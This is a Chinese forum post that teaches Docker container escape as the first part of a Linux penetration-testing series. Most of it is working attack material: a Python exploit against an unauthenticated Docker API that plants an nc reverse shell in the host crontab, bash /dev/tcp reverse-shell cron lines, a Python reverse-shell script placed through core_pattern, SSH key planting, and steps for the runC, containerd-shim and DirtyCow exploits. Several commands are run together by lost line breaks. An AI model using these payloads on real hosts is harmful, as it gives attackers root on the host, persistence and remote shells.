QQ登录

只需一步,快速开始

切换到宽版 切换风格

电脑疯子技术论坛|电脑极客社区

Linux内网渗透(一)——容器逃逸

[复制链接]
25 0
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?
显然不只是这样的。本系列文章将从拿到一个Linux shell开始,介绍Linux内网渗透技术,分为容器逃逸、Linux提权
Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。

本文是Linux内网渗透的第一篇文章——容器逃逸

前言

Docker 逃逸在渗透测试中面向的场景大概是这样,渗透拿到shell后,发现主机是docker环境,要进一步渗透
就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟
机逃逸了。本文记录Docker逃逸相关技术重点、对重要方法进行利用复现。

如何判断当前机器是否为Docker 容器环境

Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)

该模块其实进行了如下操作:

检查根目录下是否存在.dockerenv文件

ls -la

QQ截图20220511101229.png

检查 /proc/1/cgroup是否存在含有docker字符串

cat /proc/1/cgroup

QQ截图20220511101307.png

检查是否存在container环境变量

通过env\ PATH来检查是否有docker相关的环境变量,来进一步判断。

env
env $PATH
set

其他检测方式

如检测mount、fdisk -l列出所有分区 、判断PID 1的进程名等也可用来辅助判断。

Docker逃逸的方法

docker架构图如下,其中对普通用户来说,最为熟悉的就是最外层的docker client和docker daemon一
个是docker命令行工具另一个是dockerd后台进程。Docker Client通过命令行与Docker Damon通信
containerd则为docker和run的一个沟通

99.png

危险的配置导致Docker 逃逸

随着运维人员安全意识和水平的提高,越来越难以直接利用漏洞来进行利用。相反,更多的是利用错误的危险
的配置来进行利用,不仅仅Docker逃逸,其他漏洞也是。

Docker Remote API 未授权访问

漏洞简述:

docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

通过docker daemon api 执行docker命令:

#列出容器信息,效果与docker ps一致。
curl http://<target>:2375/containers/json
#启动容器
docker -H tcp://<target>:2375 ps -a

利用场景:

通过对宿主机端口扫描,发现有2375端口开放,可以执行任意docker命令。我们可以据此,在宿主机上运行一个
容器然后将宿主机的根目录挂载至docker的/mnt目录下,便可以在容器中任意读写宿主机的文件了。我们可以将
命令写入crontab配置文件,进行反弹shell。

漏洞利用:

Vulhub提供了该漏洞的复现环境。

98.png

利用方法1

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

这里有一个现成的exp:

import docker

client = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tm
p/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

(其他反弹shell的形式也一样)

利用方法2

97.png

随便启动一个docker,挂载点设置为服务器的根目录挂载至/mnt目录下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

本地监听端口,获取对方宿主机shell。

利用方法3

Github上的exp:https://github.com/Tycx2ry/docker_api_vul

Docker 高危启动参数 -- privileged 特权模式启动容器

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将
外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录写
ssh公钥和crontab计划任何等getshell。
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备同时修改AppArmor或
SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

判断方法:

特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权
模式起(CapEff: 000000xfffffffff代表为特权模式起)

96.png


利用方法:

特权模式启动一个Ubuntu容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

进入容器:

使用fdisk -l命令查看磁盘文件:

94.png

fdisk -l命令查看宿主机设备为/dev/sda5(一般是最大的那个),通过mount命令将宿主机根目录挂载进容器

在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda5 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。

93.png

写计划任务,反弹宿主机Shell:

echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/123
4 0>&1' >> /test/var/spool/cron/crontabs/root

如果要写SSH的话,需要挂载宿主机的root目录到容器:

docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.
pub >> /root/.ssh/authorized_keys

然后ssh 私钥登录。

其他参数:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯
但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN  启动时,允许执行mount特权操作,需获得资源挂载进行利用。    --net=host
启动时,绕过Network Namespace    --pid=host              启动时,绕过PID Namespace    --ipc=host
启动时,绕过IPC Namespace

危险挂载导致Docker 逃逸

挂载敏感目录(-v /:/soft)

漏洞测试:

将宿主机root目录挂载到容器

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

模拟攻击者写入ssh密钥

mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

利用私钥成功登录。获取宿主机权限。

挂载Docker Socket(docker.sock)

使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。

概述:

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由
docker daemon扮演,二者之间通信方式有以下3种:
unix:///var/run/docker.sock(默认tcp://host:portfd://socketfd

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。

判断方法:

实战中通过find命令,可查找类似docker.sock等高危目录和文件

30.png

29.png

相当于在docker里可以执行宿主机docker命令,这样的话,我们新启一个容器,挂载宿主机根目录,即可逃逸

复现:

1、首先创建一个容器并挂载/var/run/docker.sock:

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2、在该容器内安装Docker命令行客户端:

安装方法一:

apt-updateapt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-co
mmoncurl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -apt-key fingerprint
0EBFCD88add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \$
(lsb_release -cs) \stable"apt-get updateapt-get install docker-ce docker-ce-cli containerd.io

⭐安装方法二:

cat /etc/os-release查看当前linux发型版本,准备安装docker客户端,方便操作docker

28.png

访问https://download.docker.com/linux/debian/dists/,根据选择具体分支,去https://download.dock
er.com/linux/debian/dists/xxxxxx/pool/stable/amd64/下载.deb结尾的安装文件

使用这种方式安装的好处是容器内一般都缺少很多基础组件,如果通过apt-get安装实测20分钟也装不完

20.png

3、接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器将
宿主机的根目录挂载到新创建的容器内部:

docker run -it -v /:/host ubuntu:latest /bin/bash

4、在新容器内执行chroot将根目录切换到挂载的宿主机根目录:

chroot /host

即可成功逃逸到宿主机。

挂载宿主机procfs

利用procfs通过写/proc/sys/kernel/core_pattern来进行逃逸,触发条件比较苛刻,需要有进程奔溃才能触发

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_patte
rn ubuntu (为了区分,挂载到容器的/host/目录下

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件
因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限且
没有开启User Namespace时。

从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符
是管道符|那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

Docker默认情况下不会为容器开启User Namespace

一般情况下不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有。

判断方法:

实战中通过find命令,可查找类似core_pattern、/proc/sys/kernel/core_pattern等高危目录和文件

复现:

“在挂载procfs的容器内利用core_pattern后门实现逃逸“

利用思路:

攻击者进入到挂载了宿主机profs的容器,root权限,然后向宿主机的procfs写Payload

​ 1、在容器内创建反弹Shell的Exp,/tmp/.x.py (.为隐藏文件

apt-get updateapt-get install vimapt-get install gcc (用于编译一个可以崩溃的程序容器环境下
一般都不自带这些常用的工具,包括ping之类的。

#.x.pyimport osimport ptyimport socketlhost = "attacker-ip"lport = 10000def main(): s = socket.so
cket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2
(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", "/dev/null") pty.spawn("/bin/bash") os.re
move("/tmp/.x.py") s.close()if __name__ == "__main__": main()

2、写入core_pattern

echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern

执行完以上命令,然后运行'3'的崩溃程序之后,并没有接收到反弹的shell,

这是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机
文件系统进行的,而我们的/tmp/.x.py是容器内路径。

操作以下步骤:

在Docker容器中运行cat /proc/mounts | grep docker拿到当前容器在宿主机上的绝对路径。

返回如下:

overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TDUPJY7LZWCBS33AOAEL32VYWZ:/va
r/lib/docker/overlay2/l/UDBKLTSYHMCC4J7DLMAK3JUMT2:/var/lib/docker/overlay2/l/ULFSCIS7UXEVH
UTW5KPOWLQOK6:/var/lib/docker/overlay2/l/YQDQOJ3EJ3KELBHK5PFFUJ7RVT,upperdir=/var/lib/doc
ker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/diff,workdi
r=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf
1dfb/work 0 0

从返回的内容中得到:

workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e
60e0e90754e3126f8b533ab395bf1dfb/work

将之前的写入Payload的命令改为:

echo -e "|/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e9
0754e3126f8b533ab395bf1dfb/merged/tmp/.x.py \rcore " > /host/proc/sys/kern
el/core_pattern

这样一来,Linux转储机制在程序发生崩溃时就能够顺利找到我们在容器内部的/tmp/.x.py了。

3、在容器内运行一个可以崩溃的程序

//test.cint main(void) {int *a = NULL;*a = 1;return 0;}

gcc test.c

执行之后,即可接收到反弹的shell

程序漏洞导致Docker 逃逸

Shocker 攻击

漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用
open_by_handle_at函数,Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ
_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SE
ARCH能力,因而引发了容器逃逸的风险。

漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本

(真实环境基本不会存在了)

github项目地址:gabrtv/shocker: Shocker / Docker Breakout PoC (github.com)

19.png

runC容器逃逸漏洞(CVE-2019-5736)

漏洞简述:
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制
文件攻击者可以在宿主机上以root身份执行命令。
利用条件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker -version
查看当前版本情况。

利用步骤:

1、下载poc

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

2、修改Payload

vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"

3、编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

18.png


4、实战中可以curl等方式下载,这边直接使用docker cp放入容器

sudo docker cp ./main 248f8b7d3c45:/tmp

5、在容器中执行payload

# 修改权限chmod 777 main# 执行Payload./main

16.png

6、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell:

15.png

Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271

漏洞描述:
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载
一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户
尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
影响版本:

Docker 19.03.0

CVE-2020-15257

利用条件:

containerd 是一个控制 runC 的守护进程,提供命令行客户端和API

在Containerd 1.3.9版本之前和1.4.0~1.4.2版本(通过dockers version查询),使用了**--host网络模式
会造成containerd-shim** API暴露,通过调用API功能实现逃逸。

判断方法:

#判断是否使用host模式cat /proc/net/unix | grep 'containerd-shim'

利用方法:

经过以上判断,存在漏洞后。

1、从https://github.com/cdk-team/CDK/releases下载对应架构的可执行文件,上传到容器并赋权

14.png

上传方法:

13.png

2、使用

可以反弹shell,也可以执行命令reverse shell./cdk run shim-pwn reverse <RHOST> <RPORT>ex
ecute command./cdk run shim-pwn "<shell_cmd>"

12.png

内核漏洞导致Docker 逃逸

DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸

Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里

漏洞简述:

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃
逸获得root权限的shell。

漏洞测试:

1、环境准备:

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。
这里,我们使用ubuntu-14.04.5来复现。

2、测试容器下载并运行:

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo
docker-compose run dirtycow /bin/bash

3、进入容器,编译POC并执行:

cd /dirtycow-vdso/make./0xdeadbeef 192.168.111.129:1234

11.png

4、在192.168.111.129监听本地端口,成功接收到宿主机反弹的shell。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

8404

主题
精彩推荐
热门资讯
网友晒图
图文推荐
Pcgho! X3.4

© 2020 Comsenz Inc.